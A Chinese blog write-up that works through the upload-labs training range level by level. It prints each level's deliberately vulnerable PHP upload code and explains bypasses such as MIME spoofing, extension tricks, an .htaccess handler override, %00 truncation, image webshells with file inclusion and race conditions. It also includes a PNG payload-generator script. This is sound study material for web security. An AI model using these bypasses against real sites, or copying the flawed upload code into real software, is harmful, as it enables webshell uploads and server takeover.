Bootstrap

upload-labs 靶场练习

靶场搭建

  • 靶场文件:https://github.com/c0ny1/upload-labs/releases
    在这里插入图片描述

在这里插入图片描述

  • 点击管理,打开网站就好
    在这里插入图片描述

靶场介绍

在这里插入图片描述

1-前端验证绕过

在这里插入图片描述

  • 创建后正常
    在这里插入图片描述
  • 不让直接上传,抓包看下在这里插入图片描述
  • 思路:把脚本改成png文件,提交验证过后抓包修改脚本后缀、
    在这里插入图片描述
  • 上传上去了
    在这里插入图片描述
  • 脚本执行成功
    在这里插入图片描述
  • 查看网页源码,果然过滤在前端,仅过滤了上传文件的格式
    在这里插入图片描述

2-Content-Type方式绕过

  • 抓包测试,提交php文件后有数据包提交,验证在后端
    在这里插入图片描述
  • 尝试修改Content-Type
    在这里插入图片描述
  • 上传成功
    在这里插入图片描述
  • 测试成功
    在这里插入图片描述
  • 查看后端源码发现,是对文件类型进行验证
//源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

3-黑名单绕过

  • 第三关依旧采用后端验证,猜测换了其他验证方式或增加了验证方式
    在这里插入图片描述

  • 修改文件类型后发出去,报错,对后缀有所验证
    在这里插入图片描述
    在这里插入图片描述

  • 查看源码发现,过滤了一些敏感文件名,点,大小写也过滤,还重新起了新名字

//源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  • 源码没有对 phtml,php3,php4,php5,pht,htaccess 这些后缀的文件过滤,上传成功
    在这里插入图片描述
  • 查资料的方法,但我怎么搞都不行…
  • 这个文件要利用需要配合Apache,Apache的配置文件中要有这句话,路径:Apache2.4.39\conf\httpd.conf
  • AddType application/x-httpd-php .php .phtml .phps .php5 .pht 添加这个
  • AllowOverride All 修改这个
  • 在upload文件夹下添加.htaccess,文件内容是
<FilesMatch "1">	//这个1是待会要上产的文件名中要包含的,在上传一个名字包含1的jpg文件,然后就可以直接访问,会被当成php执行
SetHandler application/ x-httpd-php
</FilesMatch>

4-.htaccess绕过

在这里插入图片描述

  • 采用.htaccess文件来帮助绕过
  • .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
  • htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
  • 这关采用的是htaccess的方式,方式如上

5-大小写绕过

		//完整的过滤
		$file_name = deldot($file_name);//删除文件名末尾的点
		$file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
//源码
// 对比发现少了大小写
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  • 上传成功
    在这里插入图片描述
    在这里插入图片描述

6- 空格绕过

//完整的过滤
		$file_name = deldot($file_name);//删除文件名末尾的点
		$file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

//第六关代码
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        //少了收尾去空

在这里插入图片描述
在这里插入图片描述

7-去掉末尾的点

//完整的过滤
		$file_name = deldot($file_name);//删除文件名末尾的点
		$file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

//第七关代码
		//删除文件末尾的点
 		$file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

在这里插入图片描述
在这里插入图片描述

8-去除字符串

//完整的过滤
		$file_name = deldot($file_name);//删除文件名末尾的点
		$file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

//第八关代码
		$file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        //少了去除字符串
没有对后缀名中的’::$DATA’进行过滤。
在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名
且保持"::$DATA"之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过

在这里插入图片描述

  • 上传成功后复制图片链接打开
    在这里插入图片描述

9-点 空格 点

在这里插入图片描述

//完整过滤
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

//本关源码
		$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过
在这里插入图片描述
在这里插入图片描述

10-双写

  • 看源码发现,有一个替换操作,尝试双写,shell.phphpp
//源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在这里插入图片描述
在这里插入图片描述

11-00截断

  • 上传一张正确图片,发现是get提交
    在这里插入图片描述
  • 查看源码,发现保存路径处好像有问题$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;,结合正常图片的回显,判断可以采用截断尝试
//源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

在这里插入图片描述

  • 复制图片链接,删掉多余的名字,访问成功
    在这里插入图片描述

12- 路径可控&post&%00截断

//源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
  • 由于路径可控依旧采取%00截断,但是是post提交,我们需要改下编码如下图,get不用修改是因为可以自动识别%00编码
    在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

13-文件包含

  • 页面提示是配合文件包含
    在这里插入图片描述
  • 点开文件包含,跳转页面,这个页面存在文件包含,参数是file

在这里插入图片描述

  • 传一张图片马,然后利用文件包含执行
    在这里插入图片描述
  • 尝试其他两种图片,如果仅修改图片名,是不会影响文件头的
    在这里插入图片描述
  • 上传其他两种图片
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

14-文件包含

//源码
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  • 这是用getimagesize函数判断文件类型,还是可以图片马绕过,方法同上
    在这里插入图片描述

在这里插入图片描述

15-exif_imagetype()-图片马

//源码
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  • 用到php_exif模块来判断文件类型,用图片马绕过,方法同pass-13

16-二次渲染

//源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

膜拜大神

gif测试

  • 测试代码放图片后面
    在这里插入图片描述
  • 利用发现是一堆乱码
    在这里插入图片描述
  • 下载文件对比,上传的文件末尾没有测试脚本
    在这里插入图片描述
    在这里插入图片描述
  • 关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置(头部位置),然后将php代码写进去,就可以成功上传带有php代码的图片了。
  • 关于插入脚本,我用的是WinHex[链接:https://pan.baidu.com/s/1CV0xxktSusmkt8plw-QqZg 提取码:8888 ],手动插入可能会损坏文件
  • 首先复制要添加的payload,然后找到要添加的位置,右键点Edit,然后点Clipboard Data,最后点Paste
    在这里插入图片描述
  • 插入后图片变颜色
    在这里插入图片描述
  • 上传图片码,代码执行成功
    在这里插入图片描述
    在这里插入图片描述

png测试

  • png的二次渲染的绕过并不能像gif那样简单

png文件组成

png图片由3个以上的数据块组成,PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。

数据块结构

在这里插入图片描述

分析数据块

  • IHDR
    数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块

文件头数据块由13字节组成,它的格式如下图所示。
在这里插入图片描述

  • PLTE
    调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

  • IDAT
    图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。
    IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

  • IEND
    图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。
    如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:
    00 00 00 00 49 45 4E 44 AE 42 60 82

写入IDAT数据块(利用失败,可跳过)

//生成的图片可以传上去,但是执行会报错
//国外大牛脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
  • 运行后得到1.png.上传后下载到本地打开如下图
    在这里插入图片描述
  • 上传后可以看到代码没有被修改,思路可行,但这个图片码不行…执行不出来
    在这里插入图片描述
  • 漏洞执行会报错
    在这里插入图片描述

17-条件竞争

//源码
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
  • 这里是先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在,则重命名,否则删除,因此我们可以上传shell.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可。
  • 构造函数,把本地的shell.php文件上传包抓一下,在文件内添加个用来区别包的数字,就可以开始狂刷新浏览器了。
    在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

18-条件竞争

//源码
//观察源码发现引入了一个myupload.php文件,其实就是一个方法类,其中移动和重命名功能是分开,这本身是没问题的
//但是调用的时候先上传的文件再修改名称,这存在条件竞争
/index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload(
	    $_FILES['upload_file']['name'],
	    $_FILES['upload_file']['tmp_name'],
	    $_FILES['upload_file']['size'],
	    $imgFileName
	);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};
//这个是源代码中引用的myupload.php中的部分源码

 var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

function checkExtension(){
    
    // Check if the extension is valid

    if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
      return "EXTENSION_FAILURE";
    } else {
      return 1;
    }
  }

 function move(){
    
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }

  }

  function renameFile(){

    // if no new name was provided, we use

    if( $this->cls_file_rename_to == '' ){

      $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
      $this->cls_file_rename_to = "" ; 
      mt_srand (( double) microtime() * 1000000 ); 
      for ( $i = 0; $i<8 ; $i++ ){
        $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
      }
    }    

在这里插入图片描述
在这里插入图片描述

  • 源代码中对文件后缀名做了白名单判断,然后会 一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,这里存在条件竞争的漏洞

  • 关卡对文件后缀进行了过滤,我们上传只能上传规定类型的文件,然后移动文件和修改文件名之间确实有条件竞争,但上传的文件后缀并不是我们可以直接利用的,要配合文件包含漏洞利用;

  • 上传图片后我们可以复制图片链接执行文件包含漏洞

  • 上传图片码055.png,利用文件包含执行
    在这里插入图片描述
    在这里插入图片描述

19-/.绕过 与 00截断绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

%00

查看源代码:发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过。
注意:POST接收的时候 %00 需要URL编码。
在这里插入图片描述

  • 传上去之后,直接访问就好

/.

  • move_uploaded_file会忽略掉文件末尾的 /. 。但是Pass19中的文件名是从$_FILES['upload_file']['tmp_name']中获取的,这里是用户可控的。
    在这里插入图片描述
    在这里插入图片描述

20-数组 和 /. 绕过

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

函数解释

empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;
end函数:将内部指针指向数组最后一个元素并输出;
reset函数:将内部指针指向数组第一个元素并输出;

if (!is_array($file)) {
           $file = explode('.', strtolower($file));
       }
// 这组代码判断如果file不是数组的话,就会以点将文件名区分,这样我们的php文件名就没有用了,所以要构造数组结构的数据来绕过这个。
$file_name 经过 reset($file) . '.' . $file[count($file) - 1];

二次过滤后缀
$ext = end($file); 
$allow_suffix = array('jpg','png','gif');

而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。
$file[0]为smi1e.php/ ,也就是reset($file),然后再令$file[2]为白名单中的jpg。
此时end($file)等于jpg,$file[count($file) - 1]为空,$file_name = reset($file) . '.' . $file[count($file) - 1];
也就是smi1e.php/.,最终move_uploaded_file会忽略掉/.,最终上传smi1e.php。

在这里插入图片描述
在这里插入图片描述

  • 这里填数组里填2是为了空出来1的位置,为文件是php做铺垫
    在这里插入图片描述

在这里插入图片描述

;